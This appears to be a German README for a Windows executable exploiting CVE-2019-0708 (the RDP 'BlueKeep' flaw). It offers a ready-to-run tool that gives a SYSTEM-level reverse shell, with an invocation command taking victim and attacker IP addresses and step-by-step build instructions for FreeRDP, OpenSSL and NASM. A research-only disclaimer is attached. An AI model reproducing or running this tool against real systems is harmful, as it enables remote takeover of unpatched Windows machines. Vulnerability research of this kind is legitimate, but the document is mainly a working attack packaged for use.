CVE-2019-0708-EXP-Windows-Version
Haftungsausschluss
Der Autor stellt diesen PoC ausschließlich zu Forschungszwecken bereit. Wenn ein Leser diesen PoC für andere Handlungen nutzt, hat das nichts mit dem Autor zu tun.
Inhaltsverzeichnis
[toc]
Einführung
Die Windows-Version von CVE-2019-0708-EXP ist eine einzelne ausführbare EXE-Datei. Es werden kein Linux, Python, Ruby usw. benötigt. Nach dem Start wird direkt in der aktuellen Konsole eine Reverse-Shell mit System-Berechtigungen zurückgegeben.
Die Kompilierung verwendet den vollständigen statischen Bibliotheksmodus und bindet alle DLLs ein. Netcat und OpenSSL sind integriert; es werden eine Fortschrittsanzeige und Shell-Echo-Ausgabe unterstützt.
Reproduktionsumgebung
- Betriebssystem des Opfers (Victim): Windows 7 SP1 x64-Betriebssystem
- Betriebssystem des Angreifers (Attacker): Windows 10 x64-Betriebssystem
- Kompilierungsumgebung: Visual Studio 2013
Verwendung
- Wechseln Sie in das Verzeichnis CVE-2019-0708-EXP-Release
- Führen Sie wfreerdp.exe /v:Victim_IP /l:Attacker_IP aus, z. B. wfreerdp.exe /v:10.120.1.160 /l:10.120.1.17
Installationsanleitung
- Kopieren Sie das FreeRDP-master-Projekt nach E:\git\KernelResearch\FreeRDP-master\
- Installieren Sie die OpenSSL-Kompilierungsumgebung oder entpacken Sie direkt openssl.7z nach C:\openssl, um die bereits kompilierte OpenSSL-Umgebung zu verwenden
- Installieren Sie die NASM-Kompilierungsumgebung
- Installieren Sie cmake-3.15.3-win64-x64.msi als Administrator
- Fügen Sie C:\Program Files\CMake\bin zur PATH-Umgebungsvariable hinzu
- Starten Sie den Computer neu
- Führen Sie "C:\Program Files\CMake\bin\cmake.exe" E:\git\KernelResearch\FreeRDP-master\CMakeCache.txt aus
- Kompilieren Sie das Projekt. Falls weiterhin Dateien fehlen, können Sie diese aus FreeRDP-master-restore.7z wiederherstellen
Installationsanleitung für die OpenSSL-Kompilierungsumgebung
- Entpacken Sie openssl-1.0.2s.tar.gz nach C:\openssl\
- Installieren Sie ActivePerl-5.28.1.0000-MSWin32-x64-fde9aa8a.msi
- Fügen Sie C:\Perl64\bin zur PATH-Umgebungsvariable hinzu
- Öffnen Sie die "VS2013 x64 Native Tools Command Prompt" (Eingabeaufforderung für native Tools); Sie finden sie im Startmenü
- Führen Sie perl Configure VC-WIN64A aus
- Führen Sie cd /d C:\openssl\ aus
- Führen Sie ms\do_win64a aus
- Beginnen Sie nun mit der Kompilierung. Die folgenden Modi sind möglich; im Exploit wird der statische Bibliotheksmodus verwendet:
OpenSSL-Dynamikbibliothek kompilieren: nmake -f ms\ntdll.mak
OpenSSL-Statikbibliothek kompilieren: nmake -f ms\nt.mak
OpenSSL-Dynamikbibliothek testen: nmake -f ms\ntdll.mak test
OpenSSL-Statikbibliothek testen: nmake -f ms\nt.mak test
OpenSSL-Dynamikbibliothek installieren: nmake -f ms\ntdll.mak install
OpenSSL-Statikbibliothek installieren: nmake -f ms\nt.mak install
Letzte Kompilierung der OpenSSL-Dynamikbibliothek entfernen, um neu zu kompilieren: nmake -f ms\ntdll.mak clean
Letzte Kompilierung der OpenSSL-Statikbibliothek entfernen, um neu zu kompilieren: nmake -f ms\nt.mak clean
- Suchen Sie nach Abschluss unter out32 nach den Dateien libeay32.lib und ssleay32.lib und kopieren Sie sie nach C:\openssl\lib\
Installationsanleitung für die NASM-Kompilierungsumgebung
- Installieren Sie nasm-2.14.02-installer-x64.exe als Administrator
- Fügen Sie C:\Program Files\NASM zur PATH-Umgebungsvariable hinzu
- Entpacken Sie die 3 Dateien aus nasmBuildCustomizations.rar nach C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V120\BuildCustomizations\
- Wählen Sie das Projektverzeichnis client->common->freerdp-client, klicken Sie mit der rechten Maustaste auf "Build Dependencies" -> "Build Customizations" und aktivieren Sie dann das Kontrollkästchen nasm (Achtung: nicht masm)
- Wenn Sie im freerdp-client-Projekt eine beliebige .asm-Datei auswählen und im Rechtsklickmenü ein Kompilierungseintrag erscheint, wurde die NASM-Kompilierungsumgebung erfolgreich installiert
Ausführungsergebnis

Projekt-Hosting
Meine PoC-Adresse
Mitwirkung
Der Autor stammt von ZheJiang Guoli Security Technology, E-Mail: [email protected]